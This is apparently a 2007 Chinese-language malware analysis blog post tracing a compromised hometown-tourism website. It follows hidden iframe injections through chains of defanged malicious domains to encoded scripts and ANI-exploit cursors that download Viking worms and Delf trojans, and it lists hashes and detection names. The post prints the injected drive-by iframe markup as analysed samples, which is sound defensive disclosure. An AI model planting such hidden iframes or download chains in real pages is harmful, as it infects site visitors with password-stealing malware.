劉三姐故鄉網站加掛Trojan-PSW.Win32.Delf.qc,Worm.Win32.Agent.uu等

endurer 原創
2007-06-12 第1版

 原來那個Viking還在，又加了一個Viking，幾個 Trojan 和 和 Worm。

網站首頁被植入代碼：
/---
＜iframe name="tt" src="exobud.htm" width="580" height="25" scrolling="Auto" frameborder="0"＞＜/iframe＞
＜iframe src=hxxp://www.m*85*8**53.com.cn/index.htm width=0 height=0＞＜/iframe＞
＜iframe src=hxxp://www.m*85*8**53.cn/muma/index.htm width=0 height=0＞＜/iframe＞
＜iframe src=hxxp://w*.m*h*88*8**8.cn/ad.htm?a width=100 height=0 frameborder=0＞＜/iframe＞
＜iframe src=hxxp://www.n*85*85**3.cn/index.htm width=0 height=0＞＜/iframe＞
＜iframe src="hxxp://www.cao*n*i***ma.info/888.html" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src=hxxp://www.m*85*8**53.cn/gogo/index.htm width=0 height=0＞＜/iframe＞
--/

exobud.htm 包含代碼：
/---
＜iframe src="hxxp://w*.m*h*88*8**8.cn/ad.htm?a" width="100" height="0"＞＜/iframe＞
＜iframe src=hxxp://w*.m*h*88*8**8.cn/ad.htm?a width=100 height=0 frameborder=0＞＜/iframe＞
---/

hxxp://w*.m*h*88*8**8.cn/ad.htm?a 包含代碼：
/---
＜iframe src="hxxp://www.5*46**0*w.cn/3721/myhelp.htm" width="50" height="0"＞ ＜/iframe＞
＜iframe src="hxxp://w*.m*h*88*8**8.cn/xxx.htm" width="100" height="0"＞ ＜/iframe＞
＜iframe src="hxxp://www.5*46**0*w.cn/sky.htm" width="100" height="0"＞ ＜/iframe＞
＜iframe src="hxxp://www.5*46**0*w.cn/index.htm" width="100" height="0"＞ ＜/iframe＞
---/

hxxp://www.m*85*8**53.com.cn/index.htm　包含代碼：
/---
＜iframe src="hxxp://www.p*u**m*a**163.com/pu/8378692.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.m*85*8**53.cn/muma/index.htm 包含代碼：
/---
＜iframe src=hxxp://www.87**87*72.cn/wm/bms4.htm width=0 height=0＞＜/iframe＞
---/

hxxp://www.n*85*85**3.cn/index.htm 末包含代碼：
/---
＜iframe src="hxxp://www.zpx520.com/cs1.htm?id=88394868-6929" width=0 height=0＞＜/iframe＞
---/

hxxp://www.cao*n*i***ma.info/888.html 包含代碼：
/---
＜iframe src="hxxp://www.5*5**5*y.net/888.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.5*5**5*y.net/888.htm 包含代碼：
/---
＜iframe src="hxxp://www.d*eb**a*e.cn/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://www.5*5**5*y.net/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://www.q*q*8**81.cn/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://www.52**00***1*8.com/" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.d*eb**a*e.cn 包含代碼：
/---
＜iframe src="hxxp://www.pu*m*a*164.com/pu/551903.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.pu*m*a*164.com/pu/551903.htm 包含代碼：
/---
＜SCRIPT language="Jscript.encode" src=164.js＞＜/script＞
---/

164.js 內容為eval()執行自訂函數，經3次解密得到原始代碼，下載1.exe。

檔案說明符 : D:/test/1.exe
屬性 : A---
語言 : 中文(中國)
檔案版本 : 1.0.0.0
說明 :
著作權 :
備忘 :
產品版本 : 1.0.0.0
產品名稱 :
公司名稱 :
合法商標 :
內部名稱 :
源檔案名稱 :
建立時間 : 2007-6-21 12:33:55
修改時間 : 2007-6-21 12:33:56
訪問時間 : 2007-6-21 0:0:0
大小 : 95232 位元組 93.0 KB
MD5 : 24785a0619735bfb63a5b7ffa27c7821

Kaspersky 報為 Worm.Win32.Viking.ls，瑞星報為 Worm.Viking.tl

 

hxxp://www.5*5**5*y.net/ 包含代碼：
/---
＜iframe src=hxxp://www.b*y**i*p.cn/newdm/new82.htm width=0 height=0＞＜/iframe＞
---/

hxxp://www.b*y**i*p.cn/newdm/new82.htm 是JavaScript和VBScript混合代碼，輸出為VBScript代碼，功能是下載 hxxp://x*xt**vb*.cn/arp/dd.exe

檔案說明符 : D:/test/dd.exe
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2007-6-21 12:40:27
修改時間 : 2007-6-21 12:40:28
訪問時間 : 2007-6-21 0:0:0
大小 : 36352 位元組 35.512 KB
MD5 : 8faba4ed58813539bdf4b2a0c9b1191c

瑞星報為 Trojan.DL.Mnless.ajs

hxxp://www.q*q*8**81.cn/ 包含代碼：
/---
＜iframe src=hxxp://weather**.n*e**ws.wl**3*21.cn/7/1.htm width=0 height=0＞＜/iframe＞
---/

hxxp://weather**.n*e**ws.wl**3*21.cn/7/1.htm 包含代碼：
/---
＜SCRIPT language="Jscript.encode" src=14.js＞＜/script＞
---/

14.js 內容為eval()執行自訂函數，經2次解密得到原始代碼，下載 hxxp://weather**.n*e**ws.wl**3*21.cn/0/x.exe

檔案說明符 : D:/pe/tools/virus/x.exe
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2007-6-21 12:43:36
修改時間 : 2007-6-21 12:43:38
訪問時間 : 2007-6-21 0:0:0
大小 : 51783 位元組 50.583 KB
MD5 : 2fb4f30dbc4f74f06e9bf977a0187010

hxxp://www.52**00***1*8.com/ 首部包含代碼：
/---
＜iframe src="hxxp://www.dz*y**520.com/cs.htm?id=slsxmt" width=0 height=0＞＜/iframe＞
---/

hxxp://www.dz*y**520.com/cs.htm?id=slsxmt 包含兩段惡意代碼。
1、US-ASCII編碼的字元。到 hxxp://purpleendurer.ys168.com 下載 US-ASCII 編碼解碼器，解碼為：
/---
＜HTML＞
＜BODY style='CURSOR: url(hxxp://q*.z*p**x5*20.com/w.js)'＞
＜/BODY＞
＜/HTML＞
---/
hxxp://q*.z*p**x5*20.com/w.js 利用 ANI 漏洞下載 0.exe

檔案說明符 : D:/test/0.exe
擷取檔案版本資訊大小失敗!
建立時間 : 2007-6-20 12:4:42
修改時間 : 2007-6-20 12:4:44
訪問時間 : 2007-6-20 0:0:0
大小 : 22735 位元組 22.207 KB
MD5 : 0866f380b3acb7f4f057780360677571

Kaspersky 報為 Trojan-PSW.Win32.Delf.qc

2、代碼：
/---
＜iframe src="hxxp://q*.z*p**x5*20.com/1.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://q*.z*p**x5*20.com/1.htm 包含US-ASCII編碼的字元。解碼為JavaScript代碼，下載 0.exe。

hxxp://www.m*85*8**53.cn/gogo/index.htm  包含代碼：
/---
＜iframe src="hxxp://5*5*5.5*5***5y.net/888.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://5*5*5.5*5***5y.net/888.htm 包含代碼：
/---
＜iframe src="hxxp://www.tr**e*q.cn/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://www.d*eb**a*e.cn/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://5*5*5.5*5***5y.net/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://www.q*q*8**81.cn/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://www.1**25*a*.cn/" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://www.m**qd**l*.com/index.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.5*46**0*w.cn/3721/myhelp.htm 包含代碼：
/---
＜iframe src="vip1.htm" width="0" height="0" border="0"＞＜/iframe＞
＜iframe src="vip2.htm" width="0" height="0" border="0"＞＜/iframe＞
＜iframe src="vip.htm" width="50" height="0" border="0"＞＜/iframe＞
---/

vip1.htm、vip2.htm 包含 JavaScript代碼，下載520.exe。

檔案說明符 : D:/pe/tools/virus/520.exe
擷取檔案版本資訊大小失敗!
建立時間 : 2007-6-20 12:29:14
修改時間 : 2007-6-20 12:29:16
訪問時間 : 2007-6-20 0:0:0
大小 : 22566 位元組 22.38 KB
MD5 : 7ee0d5f58c4672da89fb03e3fdf298aa

Kaspersky 報為 Trojan-Spy.Win32.Delf.uh

vip.htm 包含代碼：
/---
＜DIV style="CURSOR: url(ah.c)"＞＜/DIV＞
---/
ah.c 利用 ANI漏洞下載 520.exe。

hxxp://w*.m*h*88*8**8.cn/xxx.htm 包含代碼：
/---
＜iframe src=hxxp://www.c*o*py*i*p.com/ip001_1.htm width=0 height=0＞＜/iframe＞
---/

hxxp://www.c*o*py*i*p.com/ip001_1.htm 是JavaScript和VBScript混合代碼，輸出為VBScript代碼，下載 do.exe 和 ip001_1.exe。

檔案說明符 : D:/test/do.exe
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2007-6-21 12:49:20
修改時間 : 2007-6-21 12:49:22
訪問時間 : 2007-6-21 0:0:0
大小 : 35840 位元組 35.0 KB
MD5 : ea58fec5580718ce3f4a7f8ee89928c3

Kaspersky 報為 Trojan-Downloader.Win32.Delf.bjy，瑞星 報為 Worm.Win32.Agent.uu

檔案說明符 : D:/test/ip001_1.exe
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2007-6-21 12:52:4
修改時間 : 2007-6-21 12:52:6
訪問時間 : 2007-6-21 0:0:0
大小 : 41984 位元組 41.0 KB
MD5 : e8c9aad9713190fa621a4d729cdb56fd

Kaspersky 報為 Trojan-Downloader.Win32.Banload.awy，瑞星 報為 Trojan.Clicker.Delf.yjd

hxxp://www.5*46**0*w.cn/sky.htm 不存在。

hxxp://www.5*46**0*w.cn/index.htm 包含代碼：
/---
＜iframe src="hxxp://www.pu*m*a*164.com/pu/709671697.htm?id=56" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.pu*m*a*164.com/pu/709671697.htm?id=56 包含代碼：
/---
＜SCRIPT language="Jscript.encode" src=164.js＞＜/script＞
---/

164.js 內容為eval()執行自訂函數，經3次解密得到原始代碼，下載
hxxp://www.pu*m*a*164.com/pu/1.exe。

hxxp://www.m**qd**l*.com/index.htm 包含代碼：
/---
＜iframe src="hxxp://bo**olo*m.com/ax.htm?7126?37197" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://bo**olo*m.com/ax.htm?7126?37197 包含代碼：
/---
SCRIPT language="Jscript.encode" src=un.js＞＜/script＞
---/

un.js　內容為eval()執行自訂函數，經3次解密得到原始代碼，下載　alexa.exe，
檔案名稱產生函數比較少見：
/---
function HJAakes（slKsm1）｛var LhzSWS2 ＝ window［"Math"］［"random"］（）＊slKsm1；return window［"Math"］［"round"］(LhzSWS2)＋'.exe'；
}
---/

檔案說明符 : D:/pe/tools/virus/alexa.exe
屬性 : A---
語言 : 中文(中國)
檔案版本 : 1.0.0.0
說明 :
著作權 :
備忘 :
產品版本 : 1.0.0.0
產品名稱 :
公司名稱 :
合法商標 :
內部名稱 :
源檔案名稱 :
建立時間 : 2007-6-21 13:35:45
修改時間 : 2007-6-21 13:35:46
訪問時間 : 2007-6-21 0:0:0
大小 : 95232 位元組 93.0 KB
MD5 : 0b75d7947a9ac806318170a2cd45188a

Kaspersky 報為 Worm.Win32.Viking.lm，瑞星 報為 Worm.Viking.tc